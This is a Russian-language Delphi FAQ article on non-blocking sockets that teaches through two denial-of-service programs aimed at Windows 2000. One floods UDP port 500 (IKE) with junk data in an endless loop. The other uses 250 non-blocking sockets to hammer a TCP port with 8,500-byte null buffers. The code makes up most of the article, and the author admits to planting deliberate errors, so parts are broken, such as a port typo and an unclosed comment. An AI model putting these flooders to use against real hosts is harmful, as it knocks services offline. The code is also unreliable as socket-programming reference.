скрыть

скрыть

  Форум  

Delphi FAQ - Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |
| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |



Google  
 

Сокеты 3 (Кодинг неблокирующих сокетов)



Автор: Danil

Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:


program IKE_attack;

uses
  WinSock;

const MyComp = 'ADDRESS';

var
  wsadata : TWSAData;
  sin: TSockAddrIn;
  sock: TSocket;
  I : Cardinal;
  Buf : string;
begin
  WSAStartUp(257, wsadata);
  // Инициализируем сокет для соединения с удаленным компьютером по UDP
  // Протокол - UDP, отправка данных - SOCK_DGRAM
  sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  sin.sin_family := AF_INET;
  // Порт - 500
  sin.sin_port := htons(500);
  // Преобразуем адрес в четырехбайтное число с помощью функции,
  // рассмотреной в первой статье
  sin.sin_addr.S_addr:=d_addr(MyComp);

  // Соединение
  I:=connect(sock,sin,sizeof(sin));
  // если нельзя соединиться - выход
  if I<=0 then
    halt(1);

  // Формирование мусора для отсылки
  Buf:='';
  for I:=1 to 1024 do
    Buf:=Buf+chr(30+round(60));

  // Посылка мусора с помощью функции,
  рассмотренной во второй статье
  while true do
    DTrsend(Buf,1024,sock);
end.

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:


program port445TCP;

uses
  WinSock;

const
  maxproccess=250; // Количество процессов
  // Флаги
  CLOSE_SOCK=0;
  CONNECTING_SOCK=1;//
  CONNECTED_SOCK=2; //
  // Таймаут
  TIME_OUT=10;

var
  // Массив сокетов
  sock : array [1..maxproccess] of TSocket;
  // Массив флагов
  stat : array [1..maxproccess] of Byte;
  time : array [1..maxproccess] of Byte;
  wsa:WSAData;
  addr : Tsockaddr;
  x : integer;
  // Сигнал блокировки сокета
  on_sock : LongInt = 1;
  off_sock : LongInt = 0;
  wfds_empty : Boolean;
  wfds : Tfdset;
  tv : Ttimeval;
  buf : array[1..8500] of char;

begin
  // Обнулим буфер отправки
  FillChar(Buf,8500,0);

  WSAStartup($101,wsa);
  // Начальная установка флагов
  for x:=1 to maxproccess do
    stat[x]:=CLOSE_SOCK;
  >repeat // бесконечный цикл

    // Инициализация сокетов
    for x:=1 to maxproccess do
    begin
      // Если сокет свободен
      if stat[x]=CLOSE_SOCK then
      begin
        sock[x]:=socket(AF_INET,SOCK_STREAM,0);
        time[x]:=TIME_OUT;
        // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
        ioctlsocket(sock[x],FIONBIO,on_sock);
        addr.sin_family:=AF_INET;
        // Порт
        addr.sin_port:=htons(455);
        // Здесь необходимо указать адрес и используется функция
        // преобразования адреса из первой статьи
        addr.sin_addr.s_addr:=d_addr('ADDRESS');
        // Неблокирующее соединение
        connect(sock[x],addr,sizeof(addr));
        stat[x]:=CONNECTING_SOCK;
      end;
    end;

    // Использование макросов FD_ для установок и проверки
    // нужно ли делать select
    FD_ZERO(wfds);
    wfds_empty:=true;
    for x:=1 to maxproccess do
    begin
      if stat[x]=CONNECTING_SOCK then
      begin
        FD_SET(sock[x],wfds);
        wfds_empty:=false;
      end;
    end;

    // select-ируем сокеты с флагом "сокет соединяется",
    // с установкой таймаута и проверкой на
    // возможность отсылки данных
    if not wfds_empty then
    begin
      tv.tv_sec:=1;
      tv.tv_usec:=0;
      select(0,nil,@wfds,nil,@tv);
    end;

    // Проверка тайм-аута
    for x:=1 to maxproccess do
    begin
      if stat[x]<>CLOSE_SOCK then
      begin
        dec(time[x]);
        // Если время на соединение истекло -
        // закрываем сокет с установкой флага
        if time[x]=0 then
        begin
          stat[x]:=CLOSE_SOCK;
          // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
          // перед закрытием
          ioctlsocket(sock[x],FIONBIO,off_sock);
          closesocket(sock[x]);
        end;
      end;

      // Проверка на соединение (соединились ли уже)
      if stat[x]=CONNECTING_SOCK then
      begin
        // Если соединение уже произошло и можно отправлять данные -
        // установим флаг
        if FD_ISSET(sock[x],wfds) then
          stat[x]:=CONNECTED_SOCK;
      end;

      // Проверка на возможность отправки
      if stat[x]=CONNECTED_SOCK then
      begin
        FD_CLR(sock[x],wfds); // обнулим буфер сокета
        send(sock[x],buf[1],8500,0);
        // Отправка данных и закрытие сокета
        stat[x]:=CLOSE_SOCK;
        // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
        // перед закрытием
        ioctlsocket(sock[x],FIONBIO,off_sock);
        closesocket(sock[x]);
      end;
    end;
  until
    false;
end.

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.






Copyright © 2004-2016 "Delphi Sources". Delphi World FAQ




Группа ВКонтакте   Ссылка на Twitter   Группа на Facebook